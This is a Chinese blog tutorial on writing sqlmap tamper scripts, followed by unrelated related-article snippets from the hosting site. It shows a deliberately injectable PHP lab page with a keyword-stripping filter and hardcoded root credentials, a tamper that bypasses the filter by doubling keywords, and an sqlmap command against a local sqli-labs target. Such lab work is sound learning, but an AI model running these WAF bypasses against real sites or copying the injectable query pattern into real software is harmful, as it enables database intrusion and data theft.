SQLMAP --TAMPER的编写

跟着师傅的文章进行学习

sqlmap之tamper脚本编写_sqlmap tamper编写-CSDN博客

这里学习一下tamper的编写

这里的tamper 其实就是多个绕过waf的插件 通过编写tamper 我们可以学会

在不同过滤下 执行sql注入

我们首先了解一下 tamper的结构

这里我们首先看一个最简单的例子

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass
def tamper(payload,**kwargs):
    return payload.replace("'","\\'").replace('"','\\"')

这里的例子我们可以发现

我们可以通过设置
 

__priority__: 当多个tamper被使用时的优先级

            (LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)

tamper  对payload的处理 这里是将 双引号 单引号都加上 \\

我们来根据题目进行测试吧

function sqlwaf( $str ) {
	$str = str_ireplace( "and", "", $str );
	$str = str_ireplace( "or", "", $str );
	$str = str_ireplace( "union", "", $str );
	$str = str_ireplace( "select", "", $str );
	$str = str_ireplace( "sleep", "", $str );
	$str = str_ireplace( "group", "", $str );
	$str = str_ireplace( "extractvalue", "", $str );
	$str = str_ireplace( "updatexml", "", $str );
	$str = str_ireplace( "PROCEDURE", "", $str );
	
	return $str;
}

增加过滤 将这些替换为空 这里其实我们本身已经知道如何注入了 双写绕过即可

<?php
echo '<h1>参数是 id 方式是GET</h1>';
$dbhost = '172.18.224.108';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = 'root';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
function sqlwaf( $str ) {
	$str = str_ireplace( "and", "", $str );
	$str = str_ireplace( "or", "", $str );
	$str = str_ireplace( "union", "", $str );
	$str = str_ireplace( "select", "", $str );
	$str = str_ireplace( "sleep", "", $str );
	$str = str_ireplace( "group", "", $str );
	$str = str_ireplace( "extractvalue", "", $str );
	$str = str_ireplace( "updatexml", "", $str );
	$str = str_ireplace( "PROCEDURE", "", $str );
	
	return $str;
}
// 设置编码,防止中文乱码
mysqli_query($conn , "set names utf8");
$a = sqlwaf($_GET['id']);
echo $d;
if($a){
    $sql = "SELECT * FROM user where id = '$a'";
}

mysqli_select_db( $conn, 'test' );
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{
    die( mysqli_error($conn));
}
echo '<h2>SQL 注入测试</h2>';
echo '<table border="1"><tr><td>ID</td><td>NAME</td><td>PASSWD</td>';
while($row = mysqli_fetch_array($retval, MYSQLI_NUM))
{
    echo "<tr><td> {$row[0]}</td> ".
         "<td>{$row[1]} </td> ".
         "<td>{$row[2]} </td> ".
         "</tr>";
}
echo '</table>';
mysqli_close($conn);
?>

但是我们如何在tamper中体现呢

我们首先进行正常注入看看是否成功

发现这里就注入失败了 无法实现注入

所以我们开始修改tamper

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass
def tamper(payload,**kwargs):
    return payload.replace("OR","oorr").replace('UNION','uniunionon').replace('SELECT','selselectect').replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")

 就是很简单的对payload进行操作 将所有过滤的内容实现绕过即可

然后我们再次进行注入

py3 .\sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1%27
 --tamper=waf1.py -v3

注入成功

这是最简单的 tamper 后续写就要按照题目来了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/156723.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

实景三维:穿越时空的奇妙之旅

实景三维&#xff1a;穿越时空的奇妙之旅 在科技的不断进步中&#xff0c;实景三维技术成为了现代社会中不可或缺的一部分。无论是电影、游戏还是建筑设计&#xff0c;实景三维都能够为我们带来身临其境的观感体验。本文将详细介绍实景三维的原理、应用以及未来的发展方向。 一…

腾讯云服务器新用户优惠活动有哪些?腾讯云新用户优惠活动汇总

对于新用户来说&#xff0c;腾讯云服务器提供了许多优惠活动&#xff0c;让你享受到超值的优惠。下面我们就来一起看看&#xff0c;腾讯云服务器新用户优惠活动有哪些吧&#xff01; 1、腾讯云双十一领9999代金券&#xff08;https://1111.mian100.cn&#xff09; 腾讯云双十…

扬帆未来,成就架构之路:十本书籍助力你的架构师梦想 | 文末送书

相信大家都对未来的职业发展有着憧憬和规划&#xff0c;要做架构师、要做技术总监、要做CTO。对于如何实现自己的职业规划也都信心满满&#xff0c;努力工作、好好学习、不断提升自己。 规划职业发展 当涉及未来职业发展时&#xff0c;我们都怀揣着远大的目标和野心。对许多人…

C#实现将Mysql数据迁移到SQL数据库

前提源数据库及目标数据库需要表结构一致 using System; using System.Windows.Forms; using MySql.Data.MySqlClient; using System.Data.SqlClient; namespace MysqlToSQL { public partial class Form1 : Form { private static string mysqlConnString "…

代码随想录 Day48 动态规划16 T647 回文子串 T516最长回文子序列

LeetCode T647 回文子串 题目链接:647. 回文子串 - 力扣&#xff08;LeetCode&#xff09; 题目思路: 我们仍然使用动规五部曲来分析题目 1.确定dp数组含义 这里dp数组表示从下标从i到j这段子串是不是回文子串,是就是true,不是就是false 2.确定dp数组的递推公式 举个例子 这里…

012.tr

1、用tr进行转换 tr是Unix命令行专家工具箱中的一件万能工具。它可用于编写优雅的单行命令。tr可以对来自标准输入的内容进行字符替换、字符删除以及重复字符压缩。tr是translate&#xff08;转换&#xff09;的简写&#xff0c;因为它可以将一组字符转换成另一组字符。 tr只…

ADI 阻抗测量开发板AD5940调试

硬件环境&#xff1a; 评估板A,阻抗测试板 EVAL-AD5940BIOZ&#xff0c;阻抗测试板信息链接如下&#xff1a; https://wiki.analog.com/resources/eval/user-guides/eval-ad5940/hardware/eval-ad5940bioz 评估板B,MCU控制板 EVAL-ADICUP3029&#xff0c;控制板信息链接如下…

【python】——控制语句和组合数据类型(其二)

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

鸿蒙OS应用开发初体验

什么是HarmonyOS&#xff1f; HarmonyOS&#xff08;鸿蒙操作系统&#xff09;是华为公司开发的一款基于微内核的分布式操作系统。它是一个面向物联网&#xff08;IoT&#xff09;时代的全场景操作系统&#xff0c;旨在为各种类型的设备提供统一的操作系统平台和开发框架。Har…

docker删除镜像命令

在Docker中删除镜像的命令是 docker rmi。这个命令用于删除一个或多个Docker镜像。使用这个命令时&#xff0c;你需要指定要删除的镜像的ID或名称。以下是一些常用的用法&#xff1a; 删除单个镜像&#xff1a; docker rmi [IMAGE_ID或REPOSITORY:TAG]例如&#xff0c;如果你知…

最大似然估计的介绍

最大似然估计&#xff08;Maximum Likelihood Estimation&#xff0c;简称MLE&#xff09;是一种用于估计概率分布中参数的方法。该方法的核心思想是选择使得观察到的数据在给定模型下出现的概率最大的参数值作为估计值。 最大似然估计具有很好的性质&#xff0c;包括渐进正态性…

LTE信令流程及业务流程

1、Attach过程 完成完成鉴权、身份验证、用户注册以外&#xff0c;包含默认承载的建立 1)在LTE网络中&#xff0c;PDN连接是默认承载的建立&#xff0c;它是在EPS承载中建立的&#xff0c;主要用于在UE和PDN之间传输数据。 2)在建立PDN连接时&#xff0c;会通过EPS隧道连接到PD…

Windows10安装麒麟桌面V10双系统

概述 想要在Windows10操作系统中安装麒麟V10的桌面操作系统&#xff08;Kylin-Desktop-V10-Professional-Release-Build1-210203-X86_64&#xff09; 安装前准备 1、先搞清楚自己的电脑类型 A MBR传统bios单硬盘 B MBR 传统bios双硬盘&#xff08;SSD固态硬盘机械硬盘&…

atsec at the PCI Community Meeting 2023

atsec participated in the PCI (Payment Card Industry) Security Standards Council 2023 Asia-Pacific Community Meeting held in Kuala Lumpur, Malaysia, on 15 and 16 November and hosted a booth. atsec’s principal consultant Di Li provided a presentation on “…

OceanMind海睿思数据中台迎来重磅更新,使用体验全面提升!

为了帮助客户拥有更好的产品使用体验&#xff0c;帮助实施数据治理项目降本增效&#xff0c;OceanMind海睿思的迭代更新从未止步。 OceanMind数据中台再度迎来重磅更新&#xff0c;该版本在大数据方面进行了规划设计&#xff0c;吸纳了30来自于项目的实际需求&#xff0c;更贴…

openldap-sasl身份认证镜像

背景 在这篇文章中&#xff0c;AD域信息同步至openLDAP我们使用了SASL将身份验证从OpenLDAP委托给AD”这种方案&#xff0c;本文主要来构建此方案的docker镜像。 sasl官网&#xff1a;Cyrus SASL bitnami/openldap镜像地址&#xff1a;containers/Dockerfile bitnami/openl…

React升级到18版本

前言 升级前react版本是16.9.0&#xff0c;react-dom版本为16.9.0&#xff0c;react-router-dom为5.1.2版本。 安装 // npm npm install react react-dom// yarn yarn add react react-dom// pnpm pnpm install react react-dom启动项目 此时&#xff0c;项目可以正常运行&…

计算机领域十大天神

✍️作者简介&#xff1a;沫小北/码农小北&#xff08;专注于Android、Web、TCP/IP等技术方向&#xff09; &#x1f433;博客主页&#xff1a;沫小北/码农小北 开源中国、稀土掘金、51cto博客、博客园、知乎、简书、慕课网、CSDN &#x1f514;如果文章对您有一定的帮助请&…

CNN(卷积神经网络)、RNN(循环神经网络)、DNN(深度神经网络)的内部网络结构有什么区别?

【导师不教&#xff1f;我来教&#xff01;】同济计算机博士半小时就教会了我五大深度神经网络&#xff0c;CNN/RNN/GAN/transformer/LSTM一次学会&#xff0c;简直不要太强&#xff01;_哔哩哔哩_bilibili了解的五大神经网络&#xff0c;整理笔记如下&#xff1a; 视频是唐宇…

git的简单使用

git 的简单使用 前言&#xff1a; 为了方便理解&#xff0c;文中一些内容表达的不是十分准确&#xff0c;如有错误&#xff0c;欢迎大家友善的指出。 接下来就开始了&#xff01;&#xff01; 使用git其实就是围绕下面这个图展开的&#xff0c;大家可以先看下图&#xff0c…